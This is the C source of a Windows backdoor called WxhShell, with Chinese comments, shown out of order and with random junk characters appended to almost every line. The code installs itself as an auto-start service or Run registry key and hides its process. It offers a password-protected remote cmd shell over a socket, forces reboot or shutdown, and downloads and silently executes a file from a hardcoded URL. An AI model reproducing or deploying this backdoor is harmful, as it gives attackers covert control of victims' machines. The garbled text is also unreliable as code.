    if(Boot(SHUTDOWN)) T"A^[ r*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t!l/`e%J  
    else { wjg}[R@!  
    closesocket(wsh); ${0%tCE  
    ExitThread(0); y$v@wb5  
    } 2:/u2K  
    break; 7Ff?Ysr  
    } oEPNN'~3  
  // 获取shell G/%Ubi6%  
  case 's': { B^Bbso'{1  
    CmdShell(wsh); k{qLkcOg=  
    closesocket(wsh); \ j x0ZHR  
    ExitThread(0); I<9n(rA  
    break; ){jqfkL  
  } J(&Gmk9&  
  // 退出 S].Ft/+H  
  case 'x': { !}j,TPpG  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); WkcH5[  
    CloseIt(wsh); # s,Y% Bce  
    break; 6BR \iZ  
    } u[: P  
  // 离开 t0I>5#*WU  
  case 'q': { lxCX-a`@p  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); zv|M*Wu  
    closesocket(wsh); b3P9Yoj-  
    WSACleanup(); GW:\l~ d  
    exit(1); 8_+vb#M  
    break; @>gD1Q7v b  
        } #Ul4&QVeg  
  } *+NZQjl'  
  } Qh 1q  
dqL  -'  
  // 提示信息 KWtu,~O_u  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Sn+FV+D  
} u% r!?-z  
  } nh?9R&  
L F8Pb;I  
  return; .O;!W<Ef$  
} *EX$v4BX  
Q Id"Cl)3  
// shell模块句柄 li1v 4  
int CmdShell(SOCKET sock) $:PF9pY(  
{ nq),VPJi  
STARTUPINFO si; 9PUa?Bc`=  
ZeroMemory(&si,sizeof(si)); v hR twi  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (q~R5)D  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?'TA!MR  
PROCESS_INFORMATION ProcessInfo; y @]8Ep  
char cmdline[]="cmd"; DBLA% {05  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $hyqYp"/;  
  return 0; uT'-B7N  
} #: dR^zr<  
Kp$_0  
// 自身启动模式 D9e+  
int StartFromService(void) Zj:a-=  
{ $^!a`Xr  
typedef struct u'#`yTB6b  
{ &NlS  =  
  DWORD ExitStatus; %H 8A=  
  DWORD PebBaseAddress; |E"Xavi>  
  DWORD AffinityMask; }g%KvYB_  
  DWORD BasePriority; E~rs11  
  ULONG UniqueProcessId; :5$xh  
  ULONG InheritedFromUniqueProcessId; )[e%wPu4e  
}   PROCESS_BASIC_INFORMATION; ZTN:|IKT  
W\nHX I  
PROCNTQSIP NtQueryInformationProcess; L7i}Ga!8  
16a_GwfM  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; E \ K  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; E`A<]dAoK  
L"Qh_+   
  HANDLE             hProcess; i5ajM,i/K  
  PROCESS_BASIC_INFORMATION pbi; P@^z:RS*{  
~uP r]#  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 2U=/<3;u  
  if(NULL == hInst ) return 0; ^#<: <X6  
g,A.Y,})  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [K"U_b}w  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); e6tH/`Uln  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); I rtF4ia.  
yS1b,cxz  
  if (!NtQueryInformationProcess) return 0; HA$^ *qn  
zz7Y/653  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4iYgs-,  
  if(!hProcess) return 0; |@T5$Xg]5  
o(B<!ji~'  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; J=f:\]@Oy  
v_?s1+w  
  CloseHandle(hProcess); owfp^hla  
B2ek&<I7N  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); :t2 9`x  
if(hProcess==NULL) return 0; Z;|0"K  
kX ~-g  
HMODULE hMod; 2VoEQ  
char procName[255]; lM@<_=2  
unsigned long cbNeeded; aF; ]7i@  
lWu9/r 1  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); TnbGO;  
f:x9Y{Y  
  CloseHandle(hProcess); T% /xti5$!  
>N+bU{s  
if(strstr(procName,"services")) return 1; // 以服务启动 -13P 2<i+  
WH pUjyBP  
  return 0; // 注册表启动 PK:o}IWn~x  
} 1q}u?7nnSG  
3{2^G@j  
// 主模块 r`&2-]  
int StartWxhshell(LPSTR lpCmdLine) h"RP>fZt  
{ zIAu3  
  SOCKET wsl; EI?d(K  
BOOL val=TRUE; RTgQ#<W8  
  int port=0; = )JVT$]w  
  struct sockaddr_in door; yr/]xc$  
vp )}/&/  
  if(wscfg.ws_autoins) Install(); O<eWq]  
~$?y1Yv  
port=atoi(lpCmdLine); =!pu+&I 9  
Zq\RNZ}  
if(port<=0) port=wscfg.ws_port; 2$j Ot}  
AHp830\  
  WSADATA data; QK``tWLIg7  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; L5-T6CD  
$'J6#Vs  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   hJC p0F9O  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Ef,7zKG  
  door.sin_family = AF_INET; q 2_N90u  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); &viwo}ls0  
  door.sin_port = htons(port); %v`-uAy:  
~RZJ/%6F  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 8xD<A|  
closesocket(wsl); 4."o.:8x  
return 1; uI[-P}bSc&  
} &6,Yjs:T m  
|d B1R%  
  if(listen(wsl,2) == INVALID_SOCKET) { @dWS*@  
closesocket(wsl); Oet#wp/I  
return 1; dIBKE0`  
} sT[av  
  Wxhshell(wsl); E&s'uE=w+  
  WSACleanup(); 4BduUH  
/A[oj2un  
return 0; *D09P%  
!ho5VA t  
} |&0"N[t  
.%J?T5D  
// 以NT服务方式启动  xnRp/I  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) T~wZ  
{ Dh!iY0Lz  
DWORD   status = 0; },Re5W nl  
  DWORD   specificError = 0xfffffff; ^sf[dr;BA  
&k_wqV  
  serviceStatus.dwServiceType     = SERVICE_WIN32; PcNf TB{  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; r:WgjjA%  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; R[>;_}5">  
  serviceStatus.dwWin32ExitCode     = 0; -hU>1ux&V  
  serviceStatus.dwServiceSpecificExitCode = 0; {l*&l2  
  serviceStatus.dwCheckPoint       = 0; ?sjZ13 SUa  
  serviceStatus.dwWaitHint       = 0; :cmI"Bo  
aCYm$6LmA  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); v0hfY   
  if (hServiceStatusHandle==0) return; }`<>$2b  
>XXMIz:  
status = GetLastError(); qj3bt_F!x  
  if (status!=NO_ERROR) lEYT{  
{ ~J. Fl[  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Vk N[=0a,  
    serviceStatus.dwCheckPoint       = 0;   Tk v  
    serviceStatus.dwWaitHint       = 0; }n2-*{)x  
    serviceStatus.dwWin32ExitCode     = status; aaqd:N)  
    serviceStatus.dwServiceSpecificExitCode = specificError; O{i_?V_  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); &JXHDpd$a^  
    return; {xBjEhQm  
  }  Z$#ZYD  
g+KzlS[6  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; m`yn9(1Y[  
  serviceStatus.dwCheckPoint       = 0; 5|~r{w)9  
  serviceStatus.dwWaitHint       = 0; CyK$XDHa  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); w /W Cj4`  
} +/b4@B7  
A9qO2kq7_  
// 处理NT服务事件,比如:启动、停止 Y)4Nydq  
VOID WINAPI NTServiceHandler(DWORD fdwControl) {Hp}F!X$  
{ NBg>i7KQ  
switch(fdwControl) -t~B@%  
{ 8SCW.;0  
case SERVICE_CONTROL_STOP: <Z_wDK/UR  
  serviceStatus.dwWin32ExitCode = 0; Hdq/E>u  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; U@v8H!p^i  
  serviceStatus.dwCheckPoint   = 0; Y?vm%t`K  
  serviceStatus.dwWaitHint     = 0; |`(?<m  
  { dE}b8|</  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y="&|c=w#L  
  } EYx2IJ  
  return; 0w[0%:R^  
case SERVICE_CONTROL_PAUSE: A_(+r  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; L(1,W<kYg  
  break; kX ,FQG>  
case SERVICE_CONTROL_CONTINUE: CN$A-sjZ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ^/d^$  
  break; J! 6z  
case SERVICE_CONTROL_INTERROGATE: |b-Zy~6  
  break; ad$Qs3)6o  
}; )[M<72  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *liPJ29C[  
} 0h@%q;g  
:5cu,&<Gv  
// 标准应用程序主函数 @X6#$ex  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) +&N&D"9A  
{ 2gD{Fgf@N  
@aD~YtL"n  
// 获取操作系统版本 a] wcA  
OsIsNt=GetOsVer(); syN b0LR  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Tx!m6B`Y  
R.YGmT'2  
  // 从命令行安装 ^< /vbF  
  if(strpbrk(lpCmdLine,"iI")) Install(); >KClH'R2  
qnfRN'  
  // 下载执行文件 A%m `LKV~@  
if(wscfg.ws_downexe) { J,=E5T}U^  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) hTtp-e`   
  WinExec(wscfg.ws_filenam,SW_HIDE); W];6u  
} !VJa$>,  
x"wM_hl5L  
if(!OsIsNt) { qVRO"/R  
// 如果时win9x,隐藏进程并且设置为注册表启动  wpdEI(  
HideProc(); (z1%lZ}(  
StartWxhshell(lpCmdLine); ot+~|Dl  
} rDx],O _  
else '5,,XhP  
  if(StartFromService()) {kRC!}  
  // 以服务方式启动 e "adkV  
  StartServiceCtrlDispatcher(DispatchTable); Z8dN0AqZ  
else mV(x&`Cx  
  // 普通方式启动 :XQ  
  StartWxhshell(lpCmdLine); 'lRHdD}s  
_TN$c  
return 0; &|{,4V0%A  
} yzNX2u1  
]ifHA# z`~  
D_ZBx+/_?  
S,tVOxs^  
=========================================== OI}HvgV^!  
MW[ 4^  
yoY)6cn@  
DF[b?  
u4+uGYr*@  
KW6" +,Th  
" vzm4  
E|4XQ|B@  
#include <stdio.h> >T*g'954xF  
#include <string.h> n`KXJ?t  
#include <windows.h> |AfQ_iT6c  
#include <winsock2.h> \\G6c4 fC  
#include <winsvc.h> g~H? l3v  
#include <urlmon.h> ~m|?! ]n  
0?Wf\7  
#pragma comment (lib, "Ws2_32.lib") QRHm |f9_C  
#pragma comment (lib, "urlmon.lib") LLHOWD C(2  
;)]zv\fC  
#define MAX_USER   100 // 最大客户端连接数 4qz{ D"M  
#define BUF_SOCK   200 // sock buffer .z>." `  
#define KEY_BUFF   255 // 输入 buffer WAa1H60VkS  
w@ylRq  
#define REBOOT     0   // 重启 kJeOlO[  
#define SHUTDOWN   1   // 关机 h8-tbHgpb  
)* nbEZm@  
#define DEF_PORT   5000 // 监听端口 '*ICGKoT  
WblV`"~e  
#define REG_LEN     16   // 注册表键长度 FC(cXPX}  
#define SVC_LEN     80   // NT服务名长度 'C>SyU  
#:zPpMAl  
// 从dll定义API D&m"~wI  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >(ww6vk2  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); +}0*_VW  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2y7q x1$C  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 446hrzW>@  
8=o(nFJw  
// wxhshell配置信息 +2 o|#`)i  
struct WSCFG { nkj'AH"2  
  int ws_port;         // 监听端口 842+KLS  
  char ws_passstr[REG_LEN]; // 口令 EF=D}"E6pO  
  int ws_autoins;       // 安装标记, 1=yes 0=no : RO:k|g  
  char ws_regname[REG_LEN]; // 注册表键名 ?E_p,#9j)  
  char ws_svcname[REG_LEN]; // 服务名 RTY4%6]O  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 7%!KAtc  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 _po 4(U&  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 L"IHyUW  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 0fK|}mmZA  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" I^Jp )k*z  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 GXK?7S0H  
&&S4x  
}; (*Q|;  
YY<?w  
// default Wxhshell configuration ^k<$N  
struct WSCFG wscfg={DEF_PORT, RWQW/Gw x  
    "xuhuanlingzhe", =<h=">}5'  
    1, Xgc\O08  
    "Wxhshell", mT~>4xi0  
    "Wxhshell", 5nq-b@?L  
            "WxhShell Service", P1>X5:  
    "Wrsky Windows CmdShell Service", 8Xzx ;-&4  
    "Please Input Your Password: ", y" -{6{3  
  1, 7[1 R}G V  
  "http://www.wrsky.com/wxhshell.exe", ,T~5iLKY  
  "Wxhshell.exe" >qvD3 9w  
    }; jeFl+K'1  
]b| @<E7Y  
// 消息定义模块 BvR3Oi@Wc  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ~2}ICU5  
char *msg_ws_prompt="\n\r? for help\n\r#>"; FOG+[v  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; L [M8[~Hy  
char *msg_ws_ext="\n\rExit."; {$:13AnK   
char *msg_ws_end="\n\rQuit."; Y1+lk^  
char *msg_ws_boot="\n\rReboot..."; =xet+;~ji  
char *msg_ws_poff="\n\rShutdown..."; \)uad5`N  
char *msg_ws_down="\n\rSave to "; BD#;3?|  
X(z-?6N4  
char *msg_ws_err="\n\rErr!"; GZX!iT  
char *msg_ws_ok="\n\rOK!"; ~(]DNXB8I`  
,ToEK Id  
char ExeFile[MAX_PATH]; qM !q,Q  
int nUser = 0; U7eQ-r  
HANDLE handles[MAX_USER]; G.e\#_RR?  
int OsIsNt; .Awq(  
OSIp  
SERVICE_STATUS       serviceStatus; R0d|j#vP  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; oXkhj,{y5  
/n7,B}  
// 函数声明 O;?~#E<6w  
int Install(void); Bcon4  
int Uninstall(void); I>Yp=R  
int DownloadFile(char *sURL, SOCKET wsh); 6l7a9IJ  
int Boot(int flag); B[X6A Qj}d  
void HideProc(void); to=##&ld<  
int GetOsVer(void); i}"JCqo2  
int Wxhshell(SOCKET wsl); yuX 0Y{:I  
void TalkWithClient(void *cs); DP]|}8~L  
int CmdShell(SOCKET sock); n7uD(cL  
int StartFromService(void); W)hby`k  
int StartWxhshell(LPSTR lpCmdLine); Sd6^%YB  
[KJL%u|8/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); :C6r N}_k  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); rNC3h"i\  
ra2q. H  
// 数据结构和表定义 )ixE  
SERVICE_TABLE_ENTRY DispatchTable[] = )d`$2D&iY  
{ !P3|T\|]+  
{wscfg.ws_svcname, NTServiceMain}, iH0c1}<k$  
{NULL, NULL} R7E"7"M10  
}; RR=l&uT  
}!Lr!eALr  
// 自我安装 h!~yYNQ"  
int Install(void) !:{_<C"D  
{ x&Rp m<4  
  char svExeFile[MAX_PATH];  N&.p\T&t  
  HKEY key; TaT&x_v^~a  
  strcpy(svExeFile,ExeFile); nCB3d[/B  
vy?YA-  
// 如果是win9x系统,修改注册表设为自启动 # t Ki6u  
if(!OsIsNt) { ~A4WuA  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { CNYchE,}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); uu.Nq*3  
  RegCloseKey(key); e)"cm;BJ^P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &,7(Wab  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); m 0PF"(  
  RegCloseKey(key); oX ,M;;Yq  
  return 0; i`L66uV  
    } rnE'gH(V'  
  } Su#1yw>  
} )&-E@% \  
else { RBwV+X[B  
^yTN (\9  
// 如果是NT以上系统,安装为系统服务 >.4Sx~VH2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); kzXW<V9  
if (schSCManager!=0) R FiR)G ,  
{ |-D.  
  SC_HANDLE schService = CreateService N2J!7uoQ  
  ( 2fB@zF  
  schSCManager, S5TT  
  wscfg.ws_svcname, e?WR={  
  wscfg.ws_svcdisp, /]&1XT?  
  SERVICE_ALL_ACCESS, (p!AX<=z  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , -<=< T@,  
  SERVICE_AUTO_START, wf1DvsJQl  
  SERVICE_ERROR_NORMAL, DYK|"@  
  svExeFile, Y;>'~V#R  
  NULL, (tN$G:+")F  
  NULL, UxtZBNn8  
  NULL, #cb6~AH  
  NULL, [y>.)BU  
  NULL Cj9Tj'0@I+  
  ); &KWh5S@w  
  if (schService!=0) th,qq  
  { S:s^si2/  
  CloseServiceHandle(schService); pE N`&'4  
  CloseServiceHandle(schSCManager); H(s^le:!  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); o+&sodt|`  
  strcat(svExeFile,wscfg.ws_svcname); Qafg/JU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { b87o6"j  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); +\chHOsw  
  RegCloseKey(key); C@i g3fhV  
  return 0; [^f`D%8o  
    } 'C<=bUM  
  } p?@D'  
  CloseServiceHandle(schSCManager); GkFNLM5'  
} PV2904  
} 5hMiCod  
)j'b7)W\  
return 1; &IYkeGQr  
} }I]q$3 .  
{5h_$a!TaU  
// 自我卸载 (%Rs&/vU~  
int Uninstall(void) ~fe0Ba4  
{ !k63 `(Ti  
  HKEY key; Z# 04 ]  
Tw5BvB1  
if(!OsIsNt) { }s[/b"%y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]\U'_G2]  
  RegDeleteValue(key,wscfg.ws_regname); \Wk$>?+#@  
  RegCloseKey(key); aXagiz\;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Wwz{98,K  
  RegDeleteValue(key,wscfg.ws_regname); (x@"Dp=MZW  
  RegCloseKey(key); =[&Jxy>Y  
  return 0; I_rVeMw=  
  } Fz% n!d  
} XEI]T~  
} yrX]w3kr%  
else { Lsdu:+-  
j>iM(8`t1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ; o\wSHc  
if (schSCManager!=0) -E1}mL}I`  
{ \q>,c49a{  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); `U R.Rn/x  
  if (schService!=0) cg5DyQ(  
  { #z.x3D@^r6  
  if(DeleteService(schService)!=0) { 5{> cfN\q  
  CloseServiceHandle(schService); m[f\I^ \%8  
  CloseServiceHandle(schSCManager); T$e_ao|  
  return 0; I f(_$>  
  } uu>g(q?4II  
  CloseServiceHandle(schService);  a4yU[KK  
  } NO1PGen  
  CloseServiceHandle(schSCManager); .z"[z^/uF  
} T"jl;,gr]J  
} LFC k6 R  
YAo g;QL  
return 1; 6FE[snw  
} tdm /U  
*))|ZE6jI  
// 从指定url下载文件 M<nn+vy`  
int DownloadFile(char *sURL, SOCKET wsh) ~xCy(dL^}  
{ fu/c)D6u*m  
  HRESULT hr; 0Ju{6x(|  
char seps[]= "/"; >Vvc55z  
char *token; Evc 9k  
char *file; ! [X<>  
char myURL[MAX_PATH]; X {$gdz8S9  
char myFILE[MAX_PATH]; 1X5\VY>S`h  
cQny)2k*x  
strcpy(myURL,sURL); /[OMpP  
  token=strtok(myURL,seps); OX"`VE  
  while(token!=NULL) R+\5hI@ >i  
  { .JqIAC~  
    file=token; .o>QBYpTw/  
  token=strtok(NULL,seps); RwE]t$T/  
  } \0$?r4A  
-l",!sV  
GetCurrentDirectory(MAX_PATH,myFILE); LM} si|  
strcat(myFILE, "\\"); H4N==o  
strcat(myFILE, file); = U5)m  
  send(wsh,myFILE,strlen(myFILE),0); ?2M15Q  
send(wsh,"...",3,0); ?=,tcN  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); V;!D:N8<  
  if(hr==S_OK) ^6`U0|5mRX  
return 0; l},%g%}iMU  
else ,RZktWW_  
return 1; R?W8l5CIk  
j{vzCRa>8  
} MI/1uw  
D"MNlm  
// 系统电源模块 VioVtP0  
int Boot(int flag) KH;e)91  
{ &zZSWNW  
  HANDLE hToken; ^%L$$V nG  
  TOKEN_PRIVILEGES tkp; 3eB2= _V`  
Y9WH%  
  if(OsIsNt) { Gi-tf<  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ?}y7S]B FI  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Ul=`]@]]  
    tkp.PrivilegeCount = 1; | 8AH_Fk  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; AA66^/t  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); p7*\]HyE)  
if(flag==REBOOT) { &"BKue~q@p  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) R1nctA:  
  return 0; ((y+FJH  
} 6jn<YR E-  
else { dG| iA]  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) dCHU* 7DS  
  return 0; olqHa5qn  
} (HTVSC%=  
  } T:si?7CR  
  else { 0<Y)yNsV  
if(flag==REBOOT) { +,smjg:O  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ' o 5,P/6  
  return 0; n8?gZ` W  
} |peZ`O^ ~  
else { GB -=DC6  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) lY~xoHT;[  
  return 0; ,Zdc  
} t~Uqsa>n@'  
} Ei#"r\q j_  
8Hhe&B  
return 1; e0D;]  
} NmeTp?)m  
K1Tzy=Z9j  
// win9x进程隐藏模块 os>|LPv4  
void HideProc(void) 9TF[uC)-2  
{ W4N$]D=  
8]0^OSS  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); rO-Tr  
  if ( hKernel != NULL ) }p#S;JZRu+  
  { Hi ?],5,/  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); E_h9y  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); $, =n  
    FreeLibrary(hKernel); r6^DD$X  
  } 0c]Lm?&  
6gp3n;D  
return; IlwY5iL  
} E_xpq  
mFvw s  
// 获取操作系统版本 `T-(g1:9  
int GetOsVer(void) @A)gsDt9A  
{ [p]Ayo$~  
  OSVERSIONINFO winfo; 6Up,B=sX0  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); w_9:gprf  
  GetVersionEx(&winfo); 5SDHZ?h  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) j"c"sF\q  
  return 1; 2qN6{+]  
  else U'@_fg  
  return 0; d=xweU<  
} m86w{b$8  
3i7n"8\$  
// 客户端句柄模块 Jx 'p\*  
int Wxhshell(SOCKET wsl) =Y89X6  
{ 8Uc#>Ae'_  
  SOCKET wsh; 5H<rI?  
  struct sockaddr_in client; N^)L@6  
  DWORD myID; r|&qXb x  
><$hFrR!  
  while(nUser<MAX_USER) f~E'0f_  
{ M'*  Y  
  int nSize=sizeof(client); & K7+V  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); qwnC{  
  if(wsh==INVALID_SOCKET) return 1; T9u/|OP  
gvz&ppcG  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); sB /*gO  
if(handles[nUser]==0) ?+51 B-  
  closesocket(wsh); YncY_Hu  
else bj7v<G|Y  
  nUser++; L8!xn&uyP=  
  } xGz$M@f  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); R,tR{| 8  
wWwY .}j  
  return 0; KaOS!e'  
} P_w+p"@m  
w2Pkw'a{  
// 关闭 socket -[ F<u  
void CloseIt(SOCKET wsh) N>VA`+aFR  
{ 3EAu#c@q"  
closesocket(wsh); `57ffQR9  
nUser--; Dtelr=/s  
ExitThread(0); o-/Xa[yC  
} 9!PJLI=D  
l^&#fz  
// 客户端请求句柄 3 bGpK9M~  
void TalkWithClient(void *cs) 2c}>} A4  
{ MA"DP7e?v  
_t3n<  
  SOCKET wsh=(SOCKET)cs; I,.>tC  
  char pwd[SVC_LEN]; w${=]h*2  
  char cmd[KEY_BUFF]; Cvq2UNz(R  
char chr[1]; "M2HiV  
int i,j; 8j8FQ!M  
I lvjS^j  
  while (nUser < MAX_USER) { y&B~UeB:q  
i9W@$I,f  
if(wscfg.ws_passstr) { a&|aK+^8;  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6EJ,czt(  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); C 2FewsRz  
  //ZeroMemory(pwd,KEY_BUFF); OZ0q6"  
      i=0; h@/c76}f6p  
  while(i<SVC_LEN) { oT.g@kf=H  
k_$w+Q  
  // 设置超时 "<NQ2Vr]5  
  fd_set FdRead; 5G= 2=E  
  struct timeval TimeOut; k.?b2]@$  
  FD_ZERO(&FdRead); Q+gQ"l,95  
  FD_SET(wsh,&FdRead); `AQv\@wp  
  TimeOut.tv_sec=8; eZT923tD  
  TimeOut.tv_usec=0; K5'@$Km  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); W~FcU+a  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .\qZkk}2l  
<[kdF")  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); rs'~' Y  
  pwd=chr[0]; IC37f[Q  
  if(chr[0]==0xd || chr[0]==0xa) { r `VKb  
  pwd=0; ,H\EPmNHK  
  break; We_/:=  
  } ?< mSEgvu  
  i++; !bS:!Il9=  
    } }JoCk{<31  
~ 8RN  
  // 如果是非法用户,关闭 socket (Z;-u+ }.  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); rl[&s\[  
} }`M[%]MNc  
9psD"=/"  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); h )fi9  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^.M*pe  
/c8F]fkZ=  
while(1) { zuwCN.  
~~]L!P  
  ZeroMemory(cmd,KEY_BUFF); PL[7|_%  
1\TXb!OtL  
      // 自动支持客户端 telnet标准   8ZE{GX.m2c  
  j=0; T[;O K  
  while(j<KEY_BUFF) { 2VA\{M  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bncIxxe  
  cmd[j]=chr[0]; ^LX1&yT@  
  if(chr[0]==0xa || chr[0]==0xd) { ;}ileL Tl  
  cmd[j]=0; O3PE w4yA  
  break; 2D,9$ 0k_]  
  } A#\NVN8sk  
  j++; m:.ywiw=  
    } ![P1Qv p  
e@F9'z4  
  // 下载文件 m = "N4!  
  if(strstr(cmd,"http://")) { f)~urGazS  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); DI"mi1ObE  
  if(DownloadFile(cmd,wsh)) 1Y_Cd  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); A90o X1l  
  else "(>P=  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,GA2K .:#  
  } #%rXDGDS  
  else { " +'E  
RU|{'zC\v  
    switch(cmd[0]) { i"p)%q~ z  
  HY4X;^hF  
